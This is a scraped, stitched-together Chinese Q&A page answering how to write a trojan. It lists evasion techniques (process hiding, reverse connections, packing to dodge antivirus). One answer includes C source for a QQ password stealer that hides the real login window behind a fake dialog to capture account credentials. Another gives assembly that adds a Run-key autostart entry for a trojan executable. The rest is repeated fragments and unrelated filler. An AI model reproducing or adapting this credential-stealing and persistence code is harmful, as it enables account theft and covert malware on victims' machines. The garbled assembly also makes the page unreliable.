要写一个简单的木马需要掌握哪些知识?
c
c++
system
web
tcp/ip
other program language
必须懂编程,编程就得学编程语言,哪种语言适合你,看你自己的情况了,我推荐c语言
1.良好的编程知识(C++,JAVA,delphi,VB也凑合,实在不行用易语言) 至少会一样吧2.确定木马的功能.木马有很多种,示功能而定,比如盗号木马,远程控制木马(这类木马一般功能比较完美),网页木马(拿来黑网站用的),还有一些比如实现某一特殊功能的,.如DDOS攻击木马,控制类木马则还要编写主控端
3确定木马的连接方式,主动式和被动式(就是网上说的主动连接和反向连接)主动连接基本已经被淘汰了,
4,木马的隐藏,这是最大的问题也是最难的问题,如果你的木马不能隐藏那么也没就没有生存的余地.不仅仅是隐藏木马文件,进程,(这一般通过加载为系统服务或者通过DLL隐藏进程还有一些木马用驱动隐藏)还要隐藏木马的通信方式,不被防火墙阻止(如HTTP隧道)这里面的学问很多
5加壳,就是加密木马,还可以减少木马体积.
这里主要说下木马主体的编写方式
以最简单的盗QQ木马(阿拉QQ大盗)为例.
1.中马之后,先替换掉TXPlatform.exe(QQ密码保护文件)后台监视系统.如发现QQ.exe,则监视QQ两个文本框的text值,并将输入的信息保存,生成邮件.后台发送到种马人.这个很简单,难的再于如何替换TXPlatform.exe并且不被QQ.exe发现.还有就是如何才能取得QQ文本框中的两个值.
附送一份N年前的QQ盗号木马源程...仅做研究,这个是N年前的,用的不是我上面提到的方法,用的是把QQ的输入框替换为假的,然后密码自然而然的被木马给知道了.
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID)
{
HANDLE hSnapshot = C★reateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe)) {
return FALSE;
}
while (Process32Next(hSnapshot, &pe)) {
if (pe.th32ProcessID == PID) {
strcpy(lpszProcessName, pe.szExeFile);
return true;
}
}
return FALSE;
}
//查找QQ登录窗口
void QQFind()
{
HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;
HWND ButtonLogin = NULL, ButtonCancel = NULL;
c★har sTitle[255];
CString ss;
DWORD QQPID;
int LoginID;
BOOL find = FALSE;
do
{
//获得当前激活窗口的句柄
g_hWnd = GetForegroundWindow();
GetWindowThreadProcessId(g_hWnd, &QQPID);
//根据PID获得进程名
processIdToName(sTitle, QQPID);
ss = sTitle;
ss.MakeLower();
//判断是否QQ
if(ss != "qq.exe")
{
Sleep(100);
continue;
}
//获得标题文字,判断是否登陆对话框
SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);
ss = sTitle;
int n = ss.Find("QQ", 0);
int m = ss.Find("登录", 0);
if(n >= 0 || m >= 0)
{
//查找QQ登陆按钮的句柄
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
LoginID = GetDlgCtrlID(ButtonLogin);
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
LoginID = GetDlgCtrlID(ButtonLogin);
//获得QQ登陆按钮窗口位置
GetWindowRect(ButtonLogin, &g_qqLogin);
//查找QQ取消按钮的句柄
ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");
//获得QQ取消按钮窗口位置
GetWindowRect(ButtonCancel, &g_qqCancel);
//查找QQ密码输入框的句柄
hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);
if(hWnd1 != NULL)
{
qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);
//获得QQ密码输入框窗口位置
GetWindowRect(qqPass_hWnd, &g_qqPassRt);
}
//查找QQ号码输入框的句柄
hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);
if(hWnd1 != NULL)
{
qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);
//获得QQ号码输入框窗口位置
GetWindowRect(qqID_hWnd, &g_qqIDRt);
//获得当前默认QQ号码
SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);
}
//等待QQ窗口完全出现后抓取整个屏幕
Sleep(100);
g_DlgRt.left = 0;
g_DlgRt.top = 0;
g_DlgRt.right = m_xScreen;
g_DlgRt.bottom = m_yScreen;
g_pBitmap = CopyScreenToBitmap(&g_DlgRt);
//设置QQ窗口为不可见
ShowWindow(g_hWnd, SW_HIDE);
//弹出我们创建的伪造对话框
HINSTANCE hInstance = GetModuleHandle(NULL);
DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);
//设置QQ窗口为可见
ShowWindow(g_hWnd, SW_SHOW);
//把QQ号码和密码填到真正的QQ登录窗口上,并模拟单击登陆按钮
SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);
SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);
SendMessage(ButtonLogin, BM_CLICK, 0, 0);
D★eleteObject(g_pBitmap);
//设置标志退出循环
find = true;
}
}
while(find == FALSE);
}
这样和你说,最简便,最直接,最实用的木马直接用汇编语言写出来,几十行代码就OK了~不像其他语言那么麻烦,因为汇编语言直接和硬件接触,可以直接把数据弄进堆栈等等
下面是一个写入注册表的实例
CODE:
.386
.model flat, stdcall
option casemap :none
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include advapi32.inc
includelib advapi32.lib
.data
szRegKey db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
szRegValue db 'Start',0 ;键值名称
szStr1 db "c:\windwos\muma.exe" ;数据
.code
start:
_EnumKey proc _lpKey
local @hKey,@dwIndex,@dwLastTime:FILETIME
invoke RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegSetValueEx,@hKey,addr szRegValue,NULL,\
REG_SZ,addr szStr1,19 ;写入一个REG_SZ类型的数据
invoke RegCloseKey,@hKey
.endif
ret
_EnumKey endp
invoke _EnumKey,NULL
end start
先学C语言,学会了其实很简单。
编写木马需要学哪些知识?
1.良好的编程知识(C++,JAVA,delphi,VB也凑合,实在不行用易语言) 至少会一样吧\\x0d\\x0a2.确定木马的功能.木马有很多种,示功能而定,比如盗号木马,远程控制木马(这类木马一般功能比较完美),网页木马(拿来黑网站用的),还有一些比如实现某一特殊功能的,.如DDOS攻击木马,控制类木马则还要编写主控端\\x...
要做个木马需要掌握哪些知识?
编程,系统进程,函数调用,动态链接库调用,网络协议。
编写网游木马需要什么样的编程能力?
delphi还需要PASCAL语言基础,其实他就是开发视窗程序快,你用VB6也一样容易.VB更简单.懂语言还不够,编木马还需要加密解密知识,网络知识,传输协议,拦截数据包,HOOK,汇编反汇编最好也要掌握,这要求很强的编程能力和专业知识,别眼高手低哦,从基础来吧,如果你能达到木马专家的程度的话,你的月薪就不下100...
问下,弄木马病毒需要什么东西比如,软件什么的,越详细越好,弄普通病毒又...
这个问题非常复杂,木马种类很多,远程控制木马,盗号木马,网页木马,图片木马等等。如果你是需要自己做这些木马的话,需要起码懂一种编程语言,懂windows系统(API),pe结构。其中windows系统很重要,比如内存复制原理,dll原理,系统服务等等。病毒怎么知道别人电脑的数据,其实就是调用了windows系统的相关API...
制作木马需要懂什么
什么也不要懂,只要有个支持ASP的空间,木马制作工具,电子邮箱就可以
谁能给我点病毒木马样本供研究,只需病毒木马的代码就行,麻烦发到我的...
include <string.h> \/* copy outfile to infile *\/ void copyfile(char *infile, char *outfile){ FILE *in,*out;in = fopen(infile,"r");out = fopen(outfile,"w");while (!feof(in)){ fputc(fgetc(in),out);} fclose(in);fclose(out);} \/ This function named Rubbishmaker...
...基础的菜鸟.成为一个编程\\能写木马的高手.需要多少时间??_百度知...
看你要写什么样的木马了 只是一个简单玩一玩的木马,三个月就能搞定 如果想做一个突破常见杀毒软件、防火墙监视,突破传统主动防御功能,突破icesword监测...可能一个人一辈子都做不到
学习写木马需要学习什么比如TCP\/IP
木马是通过IP之后传送文件植入 或者直接在网站或QQ传送木马文件植入WINDOWS系统文件那里~~~我觉得~~~TCP\/IP只要知道基本的好了~ 要学习TCP\/IP是好难的~~~而且~~不是C语言就能编好一个木马文件的~~。。。
做木马免杀需要些什么工具?
2,其实目前已经有很多优秀杀毒软件,可以直接下载来用,例如腾讯电脑管家,下载地址:腾讯电脑管家官网 3,电脑管家是查杀防护2合1的杀毒软件,同时拥有4+1杀毒引擎和16层实时防护功能,可以全方位保护电脑不受木马病毒侵袭,占用系统资源还非常小,顺便说一下,电脑管家建立了全国最大的最病毒库哦!4,...
需要一个涉及到信息安全方面的小课题,比较简单的
基于这些原则,考虑网格服务环境,我们主要研究了以下内容:(1)建立一个有效的基于网格服务的隐私保护模型,引入信誉概念,研究相应的隐私保护方法与技术。(2)引入协商机制,研究针对个性化网格服务的隐私保护方法与技术。(3)引入合同机制,研究针对临时性网格服务的隐私保护方法与技术。(4)引入本体理论...
巩超威信: 1.良好的编程知识(C++,JAVA,delphi,VB也凑合,实在不行用易语言) 至少会一样吧 2.确定木马的功能.木马有很多种,示功能而定,比如盗号木马,远程控制木马(这类木马一般功能比较完美),网页木马(拿来黑网站用的),还有一些比如...
江汉区15028301273: 编写木马需要什么基础知识? - ?
巩超威信: 你列举的知识都能用到. 但是C语言或汇编选一种就可以了. 不过现在的木马已经使用驱动技术了,所以学习驱动也是少不了的了.
江汉区15028301273: 编写木马需要学哪些知识??
巩超威信: 1.良好的编程知识(C++,JAVA,delphi,VB也凑合,实在不行用易语言) 至少会一样吧1.中马之后,先替换掉TXPlatform.exe(QQ密码保护文件)后台监视系统.如发现QQ.exe,则监视QQ两个文本框的text值,并将输入的信息保存,生成邮件.后台发送到种马人.这个很简单,难的再于如何替换TXPlatform.exe并且不被QQ.exe发现.还有就是如何才能取得QQ文本框中的两个值.
江汉区15028301273: 新手想编写木马应该学什么?
巩超威信: VB 所有语言中最简单的一个,业余的可以选它,写出来的东西有点占资源,不过还好,满足基本要求. 专业一点的话 要精通C语言 接着可以学C++ VC delphi 英文不好可以学delphi
江汉区15028301273: 写木马需具备哪些基础知识?请高手回答. - ?
巩超威信: C语言,C++语言,大爷的,写写木马学习学习老衲支持你,不过千万别害人呀,万千的菜鸟可是被毒怕了的
江汉区15028301273: 做出个木马程序大概需要学哪些知识? - ?
巩超威信: 没法具体 最起码要懂C C是基础 等会了C++ 你就可以制作简单的木马了 这个算很具体的了
江汉区15028301273: 怎么能学会做木马!!!??
巩超威信: 简单的木马可以通过软件来生成,如果想学编写木马的话要学会编程,建议先从最简单的C语言学起,虽说C语言是最简单的编程语言,但C语言的功能还是很强大的
江汉区15028301273: 什么是木马 木马如何制作?
巩超威信: 简单的说,木马就是一个程序.如何制作,需要用计算机编程方面的知识,有强悍的计算机基础,掌握至少一种编程语言.比如汇编,C语言,还有现在流行的JAVA语言.除此之外,还要懂得怎么给病毒加壳(就像人需要穿衣服一样,需要打扮伪装才不容易认出来),才不会被杀毒软件查杀,那样的病毒才算成功. 如果楼主有这方面的意向,可加油学习计算机方面的知识,主要是编程这方面,学好了很简单.可我一直没有学会,智商低了一截.
江汉区15028301273: 本人中专学历要学写脚本、编程、写木马都需要懂那些知识?有用得必加高分!!?
巩超威信: 你有要了解一些必要的电脑知识和网络知识,写脚本看的是你有没有这方的才能,我有个朋友只是初中毕业,现在做的是软件开发,现在做到项目经理.所以说如果你有这方面的觉悟的话,了解下必要的相关知识,还有就是必须要掌握的就是英语知识,对用得到的英语知识,必须要牢记.写脚本他也是有语法的,和英语一样同样有自己的语法,只要你理解了编程的语法你就成功了一半了.这里面的知识是我平时搜集来,看看吧,希望对你有帮助.http://xuefu.gkang.com/2009/list130_1.html
江汉区15028301273: 学制作木马,要先学什么作为基础? - ?
巩超威信: 编程,VB最简单,先学